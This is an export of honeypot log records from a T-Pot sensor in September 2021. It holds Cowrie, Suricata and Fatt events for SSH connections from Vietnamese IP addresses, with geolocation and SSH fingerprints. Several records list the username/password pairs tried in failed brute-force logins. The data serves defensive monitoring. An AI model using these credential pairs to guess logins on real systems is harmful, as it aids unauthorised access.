27126	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:46.785574+03	2021-09-20 14:15:14.170647+03	{"_id": "BwbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "af796e801c39", "@version": "1", "duration": 2.9685006141662598, "timestamp": "2021-09-20T11:13:46.785574Z", "@timestamp": "2021-09-20T11:13:46.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27127	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:47.143453+03	2021-09-20 14:15:14.171646+03	{"_id": "CgbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [lakmisi/hosenfeld75] failed", "session": "3d6c57439a0d", "@version": "1", "password": "hosenfeld75", "username": "lakmisi", "timestamp": "2021-09-20T11:13:47.143453Z", "@timestamp": "2021-09-20T11:13:47.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27128	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:47.365677+03	2021-09-20 14:15:14.173647+03	{"_id": "CwbpAnwBvYTbRNuEeSYL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "918ec226f031", "@version": "1", "duration": 2.523752212524414, "timestamp": "2021-09-20T11:13:47.365677Z", "@timestamp": "2021-09-20T11:13:47.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
41633	192.168.20.105	109.199.241.180	Suricata	2021-09-20 16:06:55.576594+03	2021-09-20 16:15:03.170747+03	{"_id": "JAZRA3wBvYTbRNuEDJCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.105", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:55.576594Z", "@timestamp": "2021-09-20T13:06:55.576Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
27130	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:49.612208+03	2021-09-20 14:15:14.175646+03	{"_id": "KgbpAnwBvYTbRNuEhCYN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55634, "dest_port": 22, "timestamp": "2021-09-20T11:13:49.612208", "@timestamp": "2021-09-20T11:13:49.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27131	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:49.953177+03	2021-09-20 14:15:14.176646+03	{"_id": "MgbpAnwBvYTbRNuEhCbL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:32962 (192.168.176.2:22) [session: 852f104dc596]", "session": "852f104dc596", "@version": "1", "protocol": "ssh", "src_port": 32962, "dest_port": 22, "timestamp": "2021-09-20T11:13:49.953177Z", "@timestamp": "2021-09-20T11:13:49.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27132	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:50.377331+03	2021-09-20 14:15:14.177646+03	{"_id": "MwbpAnwBvYTbRNuEhCbL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:38504 (192.168.176.2:22) [session: bf9a4d589c8a]", "session": "bf9a4d589c8a", "@version": "1", "protocol": "ssh", "src_port": 38504, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.377331Z", "@timestamp": "2021-09-20T11:13:50.377Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27133	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:51.009447+03	2021-09-20 14:15:14.179646+03	{"_id": "RgbpAnwBvYTbRNuEhibE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2086887782007941, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40766, "dest_port": 22, "timestamp": "2021-09-20T11:13:51.009447Z", "@timestamp": "2021-09-20T11:13:51.009Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27134	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:50.652044+03	2021-09-20 14:15:14.180645+03	{"_id": "RQbpAnwBvYTbRNuEhibE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2065969143779231, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38504, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.652044Z", "@timestamp": "2021-09-20T11:13:50.652Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27147	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:54.95802+03	2021-09-20 14:15:14.197646+03	{"_id": "jAbpAnwBvYTbRNuEmCZU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "47fb2b6799e2", "@version": "1", "duration": 4.226538181304932, "timestamp": "2021-09-20T11:13:54.958020Z", "@timestamp": "2021-09-20T11:13:54.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27135	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:50.733982+03	2021-09-20 14:15:14.181646+03	{"_id": "SAbpAnwBvYTbRNuEhyb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40766, "timestamp": "2021-09-20T11:13:50.733982", "@timestamp": "2021-09-20T11:13:50.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27136	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:51.015153+03	2021-09-20 14:15:14.183646+03	{"_id": "SwbpAnwBvYTbRNuEhyb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40766, "dest_port": 22, "timestamp": "2021-09-20T11:13:51.015153", "@timestamp": "2021-09-20T11:13:51.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27137	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:52.433234+03	2021-09-20 14:15:14.184647+03	{"_id": "XgbpAnwBvYTbRNuEjCaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59014 (192.168.176.2:22) [session: 727281c9ca28]", "session": "727281c9ca28", "@version": "1", "protocol": "ssh", "src_port": 59014, "dest_port": 22, "timestamp": "2021-09-20T11:13:52.433234Z", "@timestamp": "2021-09-20T11:13:52.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27138	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:52.472376+03	2021-09-20 14:15:14.185644+03	{"_id": "ZwbpAnwBvYTbRNuEjCaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "727281c9ca28", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:52.472376Z", "@timestamp": "2021-09-20T11:13:52.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27139	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:52.582835+03	2021-09-20 14:15:14.187645+03	{"_id": "aAbpAnwBvYTbRNuEjCaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [sharon/sharon] failed", "session": "bf9a4d589c8a", "@version": "1", "password": "sharon", "username": "sharon", "timestamp": "2021-09-20T11:13:52.582835Z", "@timestamp": "2021-09-20T11:13:52.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27148	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:52.414585+03	2021-09-20 14:15:14.198648+03	{"_id": "YgbpAnwBvYTbRNuEjCaZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [work/work] failed", "session": "852f104dc596", "@version": "1", "password": "work", "username": "work", "timestamp": "2021-09-20T11:13:52.414585Z", "@timestamp": "2021-09-20T11:13:52.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
